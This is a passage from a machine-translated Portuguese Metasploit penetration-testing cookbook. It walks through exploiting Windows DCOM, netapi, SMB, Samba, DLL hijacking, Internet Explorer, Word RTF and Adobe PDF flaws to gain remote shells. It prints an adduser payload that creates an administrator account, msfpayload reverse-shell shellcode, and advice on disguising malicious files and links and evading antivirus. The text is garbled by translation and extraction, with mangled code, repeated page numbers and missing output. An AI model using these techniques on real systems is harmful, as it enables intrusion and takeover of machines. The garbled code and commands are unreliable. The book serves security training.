http://technet.microsoft.com/en-us/security/bulletin/ms03-026
Agora, para entender o funcionamento do payload adduser , vamos analisar o código ruby para o
payload. Vamos navegar até o local da carga útil:
root@bt:/ pentest/exploits/framework3/modules/payloads/singles/windows#
menos adduser.rb
54
Machine Translated by Google
Capítulo 3
[
OptString.new('USER', [ true, "O "metasploit" ]),
nome de usuário para criar", OptString.new('PASS', [ true, "A senha para este usuário",
"metasploit" ]), ], self.class)
deregister_options('CMD')
fim
#
# Substitua a string de comando exec #
"
return "cmd.exe /c net user #{user} #{pass} /ADD &&
+
"net localgroup Administradores #{user} /ADD"
fim
Você pode entender o código através dos comentários adicionados com o símbolo # . O código é simples
e auto-explicativo. Ele primeiro registra valores para o nome de usuário e senha. Em seguida, ele oculta
a função CMD de aparecer na tela de destino enquanto a carga útil é executada. Em seguida, o código
substitui a carga útil windows/exec para passar os valores dos parâmetros e iniciar um prompt de comando
furtivo para executar em segundo plano.
Você pode brincar com o código e fazer suas próprias alterações. Isso ajudará você a se aprofundar no
mundo das cargas úteis.
55
Machine Translated by Google
Preparando-se
Começaremos novamente lançando nosso msfconsole e nosso objetivo é o mesmo do teste de penetração
em uma receita de máquina com Windows XP SP2. Usaremos a mesma vulnerabilidade dcom e, dessa
vez, usaremos uma carga útil diferente para vincular um shell ao destino.
1. Começaremos selecionando o exploit dcom em nossa máquina de destino. nós vamos configurar
os vários parâmetros de exploração e, em seguida, selecione a carga útil:
Explorar alvo:
Nome de identificação
-- ----
2. Agora que nosso exploit está configurado, passaremos para o payload. Usar o comando show
payloads listará todos os payloads disponíveis. Agora, usaremos o payload windows/shell/
bind_tcp que abrirá uma conexão TCP na porta 4444 (por padrão) na máquina de destino e nos
fornecerá um shell de comando:
54
Machine Translated by Google
Capítulo 3
3. Agora: usando o comando show options , podemos configurar outros parâmetros relevantes como RHOST
e alterar a porta padrão. Depois de configurar os parâmetros, executaremos o exploit. Vamos ver qual é
a saída da execução:
C:\WINDOWS\system32>
A exploração foi executada com sucesso e temos um prompt de comando iniciado em nosso msfconsole. Agora
esta sessão pode ser usada para obter acesso remoto completo da máquina de destino. Podemos sair desta
sessão a qualquer momento usando o comando exit .
Você já deve ter percebido o poder das cargas úteis no Metasploit. É altamente recomendável que se experimente
várias cargas úteis disponíveis para entender sua funcionalidade.
Como funciona...
O funcionamento do exploit dcom é o mesmo explicado na receita anterior. Para entender o funcionamento do
bind_tcp, teremos que esperar um pouco, pois envolve alguns conceitos que trataremos em um capítulo posterior
deste livro. Ainda assim, você pode dar uma olhada no código ruby da carga útil navegando até /pentest/exploits/
framework3/modules/payloads/stagers/windows/bind_tcp.rb.
Tem mais...
Qual o proximo? Como um acesso de shell pode nos fornecer controle sobre o alvo.
55
Machine Translated by Google
Preparando-se
Para começar, vamos iniciar o msfconsole e executar uma verificação rápida do alvo. É sempre recomendável
seguir todas as etapas em ordem sequencial para garantir o fortalecimento do básico. O próximo passo será o
mesmo que discutimos nas duas receitas anteriores. A única diferença será no uso do exploit.
1. Vamos começar procurando por netapi. Isso listará qualquer exploração disponível relacionada ao
netapi no diretório Metasploit:
msf > pesquisar netapi
Módulos correspondentes
================
54
Machine Translated by Google
Capítulo 3
Como podemos ver, dos quatro resultados, o último exploit tem uma classificação ótima. Portanto,
preferimos usar esse exploit.
Explorar alvo:
Nome de identificação
-- ----
0 Segmentação Automática
55
Machine Translated by Google
windows/shell/bind_tcp
Agora, nosso exploit e carga útil estão prontos. A próxima e última etapa é usar o comando exploit . Vamos
analisar o resultado da execução:
[*] Alvo selecionado: Windows 2003 Server SP2 Inglês (AlwaysOn NX)
C:\WINDOWS\system32>
Bingo! Temos uma conexão shell com nosso alvo. Isso nos dá acesso à máquina de destino por meio da
linha de comando. Você pode ver como o Metasploit pode ser poderoso para penetrar nas máquinas de
destino. Isso realmente simplifica muito mais nossa tarefa. Vamos dar uma olhada rápida no exploit que
usamos nesta receita.
Como funciona...
Este módulo explora uma falha de análise no código de canonização do caminho de netapi32.dll por
meio do serviço do servidor. Este módulo é capaz de contornar o NX em alguns sistemas operacionais
e service packs. O destino correto deve ser usado para evitar que o serviço do servidor (juntamente
com uma dúzia de outros no mesmo processo) falhe.
54
Machine Translated by Google
Capítulo 3
O cliente SMB no kernel no Microsoft Windows Server 2008 R2 e no Windows 7 permite que servidores
SMB remotos e invasores man-in-the-middle causem uma negação de serviço (loop infinito e travamento
do sistema) via pacote de resposta SMBv1 ou SMBv2. O pacote contém um valor de comprimento
incorreto em um cabeçalho NetBIOS ou um campo de comprimento adicional no final deste pacote de
resposta. Esse valor de cabeçalho incorreto é o principal motivo da vulnerabilidade.
Preparando-se
Metasploit contém um módulo auxiliar auxiliary/dos/windows/smb/ms10_006_ negocia_response_loop
que pode ser usado para explorar o servidor SMB e causar uma negação de serviço. O vetor de ataque
funciona passando um caminho UNC para uma página da Web e solicitando ao usuário que o execute.
Depois que o usuário abre o arquivo compartilhado, o sistema trava completamente e o alvo é forçado a
reiniciar.
55
Machine Translated by Google
Vamos configurar rapidamente os vários parâmetros. O único parâmetro a ser procurado é SRVHOST ,
que é o endereço IP do host local ou o endereço IP dos testadores de penetração.
Como funciona...
Usaremos o comando run para executar o módulo auxiliar. Depois que o módulo é executado, ele gera um link de pasta
compartilhada que deve ser enviado ao destino. Nesse caso, o link gerado é \\192.168.56.101\Shared\Anything.
Agora podemos fazer com que o link pareça menos suspeito criando uma página da Web e anexando
esse link a ela e enviando-o ao usuário de destino. Assim que o alvo clicar neste link, o sistema congelará
completamente e levará a uma negação de serviço completa, levando ao reinício do sistema.
54
Machine Translated by Google
Capítulo 3
Preparando-se
Começaremos examinando nossa máquina Linux de destino para coletar informações sobre os serviços
disponíveis. Vamos realizar uma varredura rápida do Nmap e analisar seu resultado:
80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1) |_html-title: Índice de /
Nenhuma correspondência exata do sistema operacional para o host (se você souber qual sistema operacional está
sendo executado, consulte http://nmap.org/submit/)
Então agora reunimos informações sobre o alvo. Nosso próximo passo será selecionar um exploit e
uma carga adequada para ele.
1. Tudo o que temos que focar é selecionar o exploit e a carga útil corretos. Vamos procurar qualquer
Exploit Samba disponível no diretório Metasploit:
msf > pesquisar Samba
55
Machine Translated by Google
2. O comando fornecerá uma lista de vários auxiliares e módulos de exploração para o Samba.
Usaremos o módulo exploit/linux/samba/lsa_transnames_heap que está listado como um bom
exploit de classificação. Portanto, terá maior probabilidade de explorar o alvo.
Vamos definir o exploit como ativo e configurar os parâmetros.
msf > use exploit/linux/samba/lsa_transnames_heap
Explorar alvo:
Nome de identificação
-- ----
0 Linux vsyscall
3. Agora nossa próxima tarefa é selecionar uma carga útil. Teremos que ter uma coisa em mente que,
como estamos mirando em uma máquina Linux, teremos que selecionar uma carga Linux para
nosso processo de penetração. Estaremos usando a carga linux/x86/shell_bind_tcp que funciona
de forma semelhante à carga útil bind_tcp que analisamos nas receitas anteriores para Windows.
54
Machine Translated by Google
Capítulo 3
4. Estamos prontos agora e nossa etapa final será fornecer o comando exploit para começar
o processo de exploração:
msf exploit(lsa_transnames_heap) > exploit
55
Machine Translated by Google
Como funciona...
Vamos passar por uma nota rápida sobre o serviço, sua exploração e funcionamento. Samba é usado
para impressoras e compartilhamento de arquivos entre máquinas Linux e Windows. Este módulo
aciona um estouro de heap no serviço LSA RPC do daemon Samba. Este módulo usa o método de
substituição de trechos talloc (crédito Ramon e Adriano), que só funciona com as versões 3.0.21-3.0.24 do
Samba. A exploração aproveita a alocação dinâmica de memória em heaps. Há chances de que a
exploração não seja bem-sucedida na primeira tentativa, portanto, você pode tentar várias vezes para obter
sucesso.
Tem mais...
Vamos cobrir alguns módulos mais relevantes relacionados ao sistema operacional Linux.
f Samba trans2open Overflow: Esta é uma vulnerabilidade de estouro de buffer existente nas versões
2.2.0 a 2.2.8 do Samba. Ele funciona explorando a falha em máquinas Linux x86 que não possuem
a opção de pilha noexec definida.
Preparando-se
Esse vetor de ataque envolve a criação de um caminho ou diretório vulnerável que o alvo terá que executar
para acioná-lo. O diretório pode ser um arquivo, arquivo extraído, unidade USB, compartilhamento de rede
e assim por diante. O arquivo criado será totalmente inofensivo, mas executará um código de injeção de DLL
para comprometer o sistema.
54
Machine Translated by Google
Capítulo 3
55
Machine Translated by Google
Explorar alvo:
Nome de identificação
-- ----
0 Automático
[*]
\\192.168.56.101\documentos\
3. Depois que o exploit é executado com sucesso, ele começa a ouvir uma conexão e também
fornece um link compartilhado que o alvo terá que abrir para acionar a exploração.
Vamos mudar para a tela de destino para ver o que acontece:
54
Machine Translated by Google
Capítulo 3
O alvo visualizará um arquivo simples, policy.txt, que foi compartilhado pelo invasor.
O arquivo é completamente inofensivo. Depois que o usuário executa esse arquivo, uma conexão é
estabelecida com a máquina do invasor e a conectividade do shell é estabelecida. Depois que o
arquivo for executado no destino, a DLL será executada e você verá muita atividade na tela do
msfconsole . Assim que a injeção de DLL for bem-sucedida, teremos conectividade de shell (veja a
captura de tela a seguir):
55
Machine Translated by Google
Como funciona...
Vamos descobrir o motivo dessa vulnerabilidade. Dynamic Link Library (DLL) é a implementação da Microsoft
do conceito de biblioteca compartilhada para Windows. DLLs são os executáveis associados a um programa
durante o tempo de execução para carregar as bibliotecas compartilhadas vinculadas a ele.
Quando um aplicativo é executado, uma função loadlibrary() carrega a DLL necessária em tempo de execução.
Se o local da DLL a ser carregada não for especificado ou um caminho de biblioteca insuficientemente
qualificado for fornecido pelo aplicativo, o Windows usará seu próprio conjunto de ordem definida para procurá-
la. Um dos locais nessa ordem padrão é o diretório de trabalho atual.
Agora, quando o usuário-alvo visita o local compartilhado, ele atinge uma zona controlada pelo invasor.
Como? O arquivo compartilhado (policy.txt) contém um caminho menos qualificado da DLL, portanto, quando o
usuário de destino o executa, o Windows inicia sua própria busca pela DLL ausente. Agora, como o diretório de trabalho
atual (/documentos) é controlado pelo invasor, ele pode adicionar um código DLL malicioso nele que o Windows
executará (já que o diretório de trabalho atual é um dos locais padrão onde o Windows procura as bibliotecas ). Agora,
essa DLL maliciosa pode fornecer ao invasor o poder de executar scripts externos. Portanto, a carga útil agora entra
em ação e configura uma conectividade de shell que fornece acesso total ao sistema de destino ao invasor. É assim
que todo esse vetor de ataque é criado.
Tem mais...
Podemos procurar uma injeção de DLL usando uma ferramenta simples desenvolvida por HD Moore. Vamos ter
uma rápida visão geral dele.
54
Machine Translated by Google
Lado do cliente
4
Exploração e
Ignorar antivírus
Neste capítulo, abordaremos:
Introdução
Também pode haver a possibilidade de o alvo ter atualizações automáticas que corrigem as vulnerabilidades
do sistema operacional em intervalos regulares. Isso pode novamente matar todos os ataques de penetração no
alvo. Essas medidas de segurança podem nos impedir de obter acesso à máquina de destino explorando
vulnerabilidades conhecidas do sistema operacional em uso. Portanto, teremos que dar um passo à frente. É aqui
que entram as técnicas de exploração do lado do cliente e de desvio de antivírus. Vamos primeiro entender um
vetor típico de ataque do lado do cliente.
Suponha que o testador de penetração descobriu que a máquina de destino possui um sistema operacional
Windows XP SP3 atualizado e o Internet Explorer versão 7 configurado como o navegador padrão para
acessar a Internet e outros serviços relacionados à web. Portanto, o pen-tester criará uma URL maliciosa que
conterá um script executável que pode explorar uma vulnerabilidade conhecida do IE 7. Agora ele constrói uma
página HTML de aparência inofensiva e cria um hiperlink que contém a mesma URL maliciosa. Na próxima
etapa, ele transfere a página HTML para o usuário-alvo por meio de engenharia social e, de alguma forma, o
induz a clicar no hiperlink malicioso. Como o link continha um exploit conhecido do navegador IE 7, ele pode
comprometer o navegador e permitir a execução de código adicional, dando assim ao testador de penetração o
poder de controlar o sistema de destino. Ele pode seguir em frente para configurar um backdoor, lançar um vírus e
assim por diante.
O que exatamente acontece agora? Embora a máquina de destino estivesse executando uma versão corrigida e
atualizada do Windows, o navegador padrão IE 7 não foi atualizado ou foi negligenciado pelo usuário de destino. Isso
permitiu que o testador de penetração criasse um cenário e invadisse o sistema por meio da vulnerabilidade do
navegador.
O cenário discutido anteriormente é um ataque simples do lado do cliente no qual o alvo executa, sem saber, um
script que explora a vulnerabilidade no software aplicativo usado pelo usuário-alvo.
Na execução bem-sucedida da exploração, o invasor compromete a segurança do sistema.
O Metasploit nos fornece uma grande variedade de módulos de exploração para vários softwares populares que
podem ser usados para realizar um ataque do lado do cliente. Algumas das ferramentas populares que
discutiremos neste capítulo incluem Internet Explorer, Microsoft Office pack, Adobe Reader, Flash e assim por
diante. O repositório Metasploit contém vários módulos para essas ferramentas populares. Vamos analisar
rapidamente o processo de exploração do lado do cliente no Metasploit. Nosso objetivo é atacar com sucesso o
alvo por meio de uma execução do lado do cliente e configurar a conectividade do shell.
1. Ele gera o respectivo link/arquivo malicioso para a ferramenta do aplicativo que você escolher
alvo. Depois disso, ele começa a ouvir em uma porta específica para uma conexão de retorno com o
destino. Em seguida, o invasor envia o link/arquivo malicioso para o usuário alvo.
2. Agora, uma vez que o alvo executa o link/arquivo malicioso, o aplicativo é explorado
e o Metasploit transfere imediatamente a carga útil para algum outro processo do Windows para que, se o
aplicativo de destino travar (devido a exploração) ou um usuário fechar o aplicativo, a conectividade ainda
permaneça.
78
Machine Translated by Google
Capítulo 4
As duas etapas anteriores ficarão claras para você quando discutirmos as receitas baseadas em ataques
do lado do cliente. Este capítulo se concentrará em alguns softwares de aplicativos importantes baseados no
sistema operacional Windows. Começaremos analisando as explorações do lado do cliente com base no navegador.
Analisaremos várias falhas existentes no Internet Explorer (versões 6, 7 e 8) e como direcioná-lo para penetrar
na máquina do usuário. Em seguida, mudaremos para outro pacote de software popular chamado Microsoft
Office (versão 2003 e 2007) e analisaremos sua vulnerabilidade de formatação. Em seguida, prosseguiremos
com a análise das vulnerabilidades do PDF e como um PDF malicioso pode ser usado para comprometer a
segurança do usuário. Por último, mas não menos importante, discutiremos um aspecto muito importante do
teste de penetração chamado desvio de antivírus.
Ele se concentrará em substituir a proteção antivírus do lado do cliente para explorar a máquina de destino
sem disparar alarmes.
Este capítulo alavancará todo o poder da estrutura Metasploit para que você adore lê-la e implementá-la.
Vamos avançar com nossas receitas para este capítulo.
Vulnerabilidade de configuração
incorreta de script inseguro do Internet Explorer
Vamos começar com a primeira exploração do lado do cliente baseada em navegador. O processo elementar de
usar qualquer módulo de exploração do lado do cliente é semelhante aos que discutimos nos capítulos anteriores.
A única diferença está na transferência do exploit para o alvo. Ao contrário das explorações baseadas no sistema
operacional, as explorações do lado do cliente exigem a execução manual da exploração e da carga útil na máquina
de destino. Você entenderá claramente, assim que prosseguirmos com a receita. Então, vamos mergulhar rapidamente
na implementação do ataque.
Preparando-se
Começaremos lançando nosso msfconsole e selecionando o exploit relevante. O processo é semelhante ao que
discutimos até agora nos capítulos anteriores. Em seguida, avançaremos para selecionar uma carga útil que nos
ajudará a definir uma conectividade shell com a máquina de destino.
O exploit com o qual estaremos lidando nesta receita é exploit/windows/browser/isto é, script inseguro.
Esta exploração é conhecida por afetar o Internet Explorer versões 6 e 7, que são
navegadores padrão em todas as versões do Windows XP e servidores 2003. Mas
funcionou com sucesso mesmo no meu Windows 7 ultimate com Internet Explorer
8 (sem patch).
79
Machine Translated by Google
Essa exploração funciona quando a configuração Inicializar e executar scripts de controles ActiveX não
marcados como seguros é marcada no Internet Explorer. A configuração a seguir pode ser encontrada iniciando
o Internet Explorer e navegando até Ferramentas | Opções da Internet | Segurança | Nível Personalizado |
Inicializar e fazer script de controles ActiveX não marcados como seguros | Habilitar.
Configurações semelhantes também podem ser feitas em outras versões do Internet Explorer. Nesta receita,
exploraremos dois alvos diferentes. Um está executando o Windows XP SP2 com o IE 7 e o outro está
executando o Windows 7 com o IE 8. Vamos agora seguir em frente para executar o exploit.
80
Machine Translated by Google
Capítulo 4
Explorar alvo:
Nome de identificação
-- ----
0 Automático
81
Machine Translated by Google
Agora nosso exploit, assim como a carga útil, foram ativados. Como você pode ver, não usamos a opção
RHOST aqui porque é um ataque baseado no cliente. Vejamos o que acontece quando executamos o
comando exploit :
Como podemos ver, um link foi gerado como resultado do comando exploit . Este é o link malicioso
(http://192.168.56.101:8080/2IGIaoJQB) que teremos de enviar aos nossos alvos, para que possam
explorar o seu navegador. Além disso, a última linha diz "servidor iniciado", que na verdade está ouvindo
uma conexão na porta 4444 da máquina de destino. Vamos primeiro analisar o resultado da execução do
link na máquina de destino do Windows XP.
O navegador tentará carregar a página, mas ao final nada será exibido. Por sua vez, o navegador
travará ou permanecerá ocioso. Mas você notará alguma atividade em seu msfconsole. Esta
atividade será semelhante à mostrada na seguinte linha de comando:
[*] Exe será uunqgEBHE.exe e deve ser removido manualmente do diretório %TEMP% no destino.
Incrível! Temos uma sessão ativa com nossa máquina de destino. A saída da linha de comando anterior
mostra que um arquivo executável foi criado na pasta temporária de nosso destino, responsável por todo
esse processo de exploração.
Vamos agora analisar o resultado dessa execução de link malicioso na máquina Windows 7 com IE 8.
82
Machine Translated by Google
Capítulo 4
Vamos mudar para atacar o msfconsole e observar a atividade. Notaremos a seguinte atividade
de linha de comando:
83
Machine Translated by Google
Também temos outra sessão ativa aberta com a máquina Windows 7. Vamos começar a interagir com
nossas sessões:
Sessões ativas
===============
Como você pode ver, o comando de sessões revelou as sessões ativas disponíveis para nós.
Uma é a nossa máquina Win XP e a outra é a máquina Win7. Passemos à interação com a segunda
sessão, ou seja, a máquina Windows 7.
Canal 1 criado.
C:\Windows\system32>
Como funciona...
O processo de trabalho pode ser claro para você. Vamos nos concentrar no motivo dessa exploração.
Quando "Inicializar e executar scripts de controles ActiveX não marcados como seguros para scripts" é
definido, ele permite o acesso ao controle WScript.Shell ActiveX. Este objeto WScript.Shell fornece funções
para ler o sistema de arquivos, variáveis de ambiente, ler e modificar o registro e gerenciar atalhos.
Esse recurso do WScript.Shell permite que o invasor crie um JavaScript para interagir com o sistema de
arquivos e executar comandos.
84
Machine Translated by Google
Capítulo 4
Tem mais...
Vamos falar sobre outra importante exploração baseada em navegador que pode ser usada em um
ataque do lado do cliente.
Preparando-se
Começaremos com o lançamento do msfconsole. Nosso exploit nesta receita é exploit/windows/browser/
ms11_003_ie_css_import e nosso payload será windows/meterpreter/bind_tcp que ajudará a obter conectividade shell
com a máquina de destino.
85
Machine Translated by Google
Como podemos ver, o exploit e o payload foram definidos junto com vários parâmetros.
Depois de executar o comando exploit , o módulo gerou um link local http://
192.168.56.101:8080/K9JqHoWjzyAPji. Este é o link malicioso que deve ser transferido para o alvo
para fazê-lo executar em seu navegador IE. O navegador de destino congelará completamente e
consumirá uma grande parte dos recursos do sistema. O alvo será forçado a desligar o navegador.
Vamos monitorar as atividades no msfconsole:
windows/browser/ms11_003_ie_css_import CSS
Após a execução bem-sucedida do exploit no navegador do alvo, temos uma sessão iniciada no
msfconsole, abrindo assim a conectividade do shell. Mas há algo mais que acontece depois de abrir uma
sessão entre msf e o destino. O InitialAutoRunScript executa um comando migration –f que migra a carga
de iexplore.exe para o bloco de notas. exe. Esta etapa é essencial para uma conectividade persistente.
Mesmo que o usuário de destino feche o navegador, a conexão ainda estará ativa, pois migramos para
outro processo.
86
Machine Translated by Google
Capítulo 4
Como funciona...
Vamos desenterrar essa vulnerabilidade para obter mais informações. Bem, o motivo da vulnerabilidade
é exatamente o que o nome diz. Quando o mecanismo HTML da Microsoft (mshtml) analisa uma página
HTML que importa recursivamente o mesmo arquivo CSS várias vezes, isso leva a uma corrupção de
memória e permite a execução arbitrária do código. Considere o seguinte trecho de código HTML.
// arquivo html
<link href="css.css" rel="stylesheet" type="text/css" />
// arquivo css *{
cor vermelha;
O mesmo arquivo CSS foi chamado quatro vezes. Quando o mshtml analisa esta página HTML, isso
leva a uma corrupção de memória. Esta exploração utiliza uma combinação de heap spraying e o
módulo .NET 2.0 mscorie.dll para ignorar DEP e ASLR. Devido ao consumo excessivo de recursos do
sistema, ele finalmente trava. Usando esta vulnerabilidade, o invasor obtém os mesmos direitos de
usuário que o usuário conectado.
87
Machine Translated by Google
Na captura de tela anterior, você pode ver que o plano de fundo consiste na instância do IE na qual o link
malicioso foi executado e a imagem em primeiro plano é do gerenciador de tarefas do Windows, no qual você
pode ver claramente o consumo excessivo de memória pelo navegador IE.
Outra coisa interessante a observar neste gerenciador de tarefas é o processo notepad.exe. Mesmo que
não haja uma instância em execução do bloco de notas, o gerenciador de tarefas ainda mostra esse processo.
A razão óbvia para isso é que migramos do iexplorer.exe para o notepad.exe, portanto, esse processo está sendo
executado em segundo plano.
Tem mais...
Há um erro comum que podemos encontrar ao usar este módulo de exploração. Vamos dar uma olhada rápida
e descobrir uma solução relevante.
Preparando-se
Começaremos com o lançamento do msfconsole. O exploit que usaremos nesta receita pode ser localizado
em exploit/windows/fileformat/ms10_087_rtf_pfragments_bof. A carga útil que usaremos é windows/meterpreter/
reverse_tcp para obter a conectividade do shell com a máquina de destino.
88
Machine Translated by Google
Capítulo 4
msf exploit(ms10_087_rtf_pfragments_bof) > set payload windows/ meterpreter/reverse_tcp payload => windows/
meterpreter/reverse_tcp
Explorar alvo:
Nome de identificação
-- ----
0 Automático
89
Machine Translated by Google
O nome do arquivo foi alterado para priceinfo.rtf e o valor de LHOST foi definido para 192.168.56.101. Portanto,
estamos prontos para executar o módulo de exploração agora.
O Metasploit criou um arquivo malicioso para nós, que teremos que usar para prosseguir com o ataque do
lado do cliente. O arquivo está localizado em /root/.msf4/local/priceinfo.rtf.
Agora, a próxima etapa é enviar esse arquivo para o usuário de destino por e-mail ou por algum outro meio.
Assim que o usuário de destino executar esse arquivo malicioso, perceberemos que ele será aberto como um
documento do Word. Após alguns segundos de execução, a instância do Microsoft Word irá travar ou travar,
dependendo do sistema. Enquanto isso, o arquivo malicioso executa a exploração com sucesso e fornece uma
sessão ativa com o alvo. Para tornar a conexão persistente, o exploit migra para algum outro processo que será
executado em segundo plano.
As primeiras linhas da linha de comando mostram uma execução bem-sucedida do exploit que resulta em
uma sessão ativa com SESSION ID = 2. A última parte da linha de comando mostra que o exploit foi
migrado com sucesso de WINWORD.EXE para notepad.exe.
Como funciona...
O módulo de exploração simplesmente cria um arquivo de palavras malicioso que passa valores ilegais para o
analisador de palavras. A falha do parser em reconhecer os valores ilegais leva a um estouro de buffer nele.
Em seguida, a carga útil entra em ação, que executa o código para estabelecer uma conexão de retorno com a
máquina atacante. O sucesso desse ataque varia de máquina para máquina, pois pode haver situações em que
o Windows ASLR (Address Space Layout Randomization) pode impedir a execução de um código arbitrário
(payload).
90
Machine Translated by Google
Capítulo 4
Tem mais...
Há outro exploit popular disponível para o pacote Office. Vou deixar como lição para você experimentar na
prática. Aqui vou dar uma breve visão geral sobre isso.
conhecida visa a ferramenta Microsoft Excel (.xlb) para a versão 2007. A execução de um arquivo .xlb
malicioso pode levar a um estouro de buffer baseado em pilha e levar a uma execução arbitrária de código.
A exploração pode ser localizada em exploit/windows/fileformat/ms11_021_ xlb_bof.
Preparando-se
O processo de exploração é muito semelhante àqueles que discutimos até agora neste capítulo. Quase todos
os ataques do lado do cliente funcionam de maneira semelhante, na qual primeiro geramos um arquivo/link
malicioso e, de alguma forma, pedimos ao usuário alvo para executá-lo em sua máquina. Portanto, um ataque
do lado do cliente também envolve Engenharia Social. Passemos a esta façanha. Aqui, nossa máquina de
destino é o Windows XP SP3 executando o Adobe Reader versão 8.1.
Explorar alvo:
Nome de identificação
-- ----
Como você pode ver, a versão de destino do Adobe Reader está listada como 8.1.2 e o sistema operacional
é mencionado como Windows XP SP3. Portanto, o sucesso dessa exploração dependerá muito da versão
do Adobe Reader e do sistema operacional usado pelo alvo.
O módulo de exploração contém um parâmetro FILENAME com um valor padrão. Este parâmetro
decide o nome do arquivo PDF malicioso que será criado. Vamos mudar seu valor para algo menos
suspeito. Também teremos que passar o endereço IP da máquina local no parâmetro LHOST .
92
Machine Translated by Google
Capítulo 4
Agora estamos prontos para executar o comando exploit e gerar o arquivo PDF malicioso que será usado
em nossos ataques do lado do cliente.
Finalmente, um arquivo PDF malicioso chamado progressreport.pdf foi criado e armazenado na pasta /
root/.msf4/local .
Desta vez, adotaremos uma abordagem um pouco diferente para iniciar um ouvinte para conexão reversa.
Suponha que surja uma situação em que você precise fechar repentinamente seu msfconsole. E o
exploit então? Temos que criar o PDF malicioso novamente? A resposta é Não. Há um módulo de escuta
especial presente no Metasploit que pode ser usado para iniciar uma escuta em seu msfconsole para que
você possa retomar seu processo de teste de penetração usando os mesmos arquivos/links que você
gerou para o ataque do lado do cliente . Considere um cenário em que geramos o arquivo PDF malicioso,
mas ainda não o usamos para ataque do lado do cliente. Portanto, vamos iniciar o msfconsole novamente
e usar o módulo exploit/multi/handler para configurar um ouvinte para a conexão reversa.
Explorar alvo:
Nome de identificação
-- ----
0 Alvo Curinga
93
Machine Translated by Google
Explorar alvo:
Nome de identificação
-- ----
0 Alvo Curinga
Como você pode ver, configuramos o módulo multi/handler e também adicionamos uma carga útil a
ele. A próxima etapa é adicionar um LHOST e LPORT dependendo do uso. Também temos uma
opção adicional para executar scripts adicionais junto com o módulo multi/manipulador.
Discutiremos isso mais adiante no próximo capítulo. A etapa final é executar o comando exploit e iniciar
o listener.
94
Machine Translated by Google
Capítulo 4
Portanto, nosso manipulador reverso está funcionando. Agora ele está pronto para receber de volta a conexão
assim que o PDF malicioso for executado na máquina de destino.
Depois que o PDF é executado na máquina cliente, ele congela completamente e o Adobe Reader trava
completamente, levando à negação de serviço. O motivo dessa falha é devido ao estouro do buffer causado
pelo arquivo PDF malicioso. Do lado do invasor, você verá que uma sessão meterpreter foi iniciada e agora a
máquina de destino pode ser controlada remotamente.
Canal 1 criado.
Windows XP SP3
E:\>
Como funciona...
Esse problema foi identificado na forma como as versões vulneráveis do Adobe Reader implementam a
função JavaScript util.printf() . A função primeiro converte o argumento que recebe em uma String, usando
apenas os primeiros 16 dígitos do argumento e preenchendo o restante com um valor fixo de "0" (0x30). Ao
passar um comando excessivamente longo e formatado corretamente para a função, é possível sobrescrever a
memória do programa e controlar seu fluxo de execução. O módulo Metasploit cria um arquivo PDF
especificamente criado que incorpora código JavaScript para manipular o padrão de alocação de memória do
programa e acionar a vulnerabilidade. Isso pode permitir que um invasor execute o código arbitrário com os
privilégios de um usuário executando o aplicativo Adobe Reader.
util.printf("%5000f",num)
Essas duas linhas JavaScript simples fazem com que o byte 0x20 seja copiado 5.000 vezes na pilha.
Isso permite que você assuma o controle do manipulador de exceção e também acione uma exceção ao tentar
escrever na seção que vem depois da pilha.
95
Machine Translated by Google
Até agora, discutimos muitas técnicas que podem ser usadas para penetrar na máquina de destino
usando ataques do lado do cliente. Todas essas técnicas envolviam a exploração de vulnerabilidades em
vários softwares aplicativos executados na máquina cliente. Mas pode haver um cenário em que as
técnicas discutidas anteriormente podem não funcionar. Esses ataques nos deixam à mercê do software
aplicativo vulnerável que teremos que explorar para obter acesso.
O Metasploit nos fornece outro recurso no qual podemos executar um ataque do lado do cliente sem
nos preocupar em explorar o software aplicativo em execução na máquina de destino. msfpayload é a
solução para isso. Vamos dar uma rápida introdução ao msfpayload e seguir em frente com nossa receita
para implementá-lo na prática.
msfpayload é uma instância de linha de comando do Metasploit que é usada para gerar vários tipos de
arquivos de shellcodes disponíveis no repositório do Metasploit. As várias opções de tipo de arquivo
disponíveis são C, Ruby, Raw, Exe, DLL, VBA e War. Podemos converter qualquer shellcode Metasploit
em um desses formatos de arquivo mencionados usando msfpayload. Em seguida, ele pode ser transferido
para o destino para execução. Depois que o arquivo for executado na máquina de destino, obteremos uma
sessão ativa. Isso reduz a sobrecarga de explorar qualquer vulnerabilidade existente no software aplicativo
em execução na máquina de destino. O outro grande benefício do msfpayload é que ele pode ser usado para
gerar shellcodes personalizados em linguagens de programação específicas, como C, Ruby e assim por
diante, que podem ser usados em seu próprio código de desenvolvimento de exploração.
Uma grande desvantagem do uso do msfpayload é que os arquivos gerados com ele podem ser
facilmente detectados por programas antivírus quando o alvo tenta executá-lo. Vamos seguir em frente
com a receita e sentir o poder que o msfpayload pode adicionar ao nosso processo de teste de penetração.
Preparando-se
Vamos começar a experimentar com msfpayload. Começaremos com o lançamento do terminal
BackTrack. Podemos começar com o comando msfpayload –h para visualizar a descrição de seu uso.
root@bt:~# msfpayload -h
Para visualizar a lista disponível de shellcodes, podemos usar o comando msfpayload –l . Você encontrará
uma enorme lista de shellcodes disponíveis à nossa disposição.
96
Machine Translated by Google
Capítulo 4
Módulo: payload/windows/shell/reverse_tcp
Versão: 10394, 11421
Plataforma: Windows
Arco: x86
Classificação: Normal
Opções básicas:
Então configuramos o LHOST e o LPORT de acordo com a nossa necessidade. A próxima etapa
será gerar um código C para nosso shell personalizado (a saída exibida foi reduzida para caber)
/*
97
Machine Translated by Google
* ReverseConnectRetries=5, EXITFUNC=processo,
* InitialAutoRunScript=, AutoRunScript=
*/
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
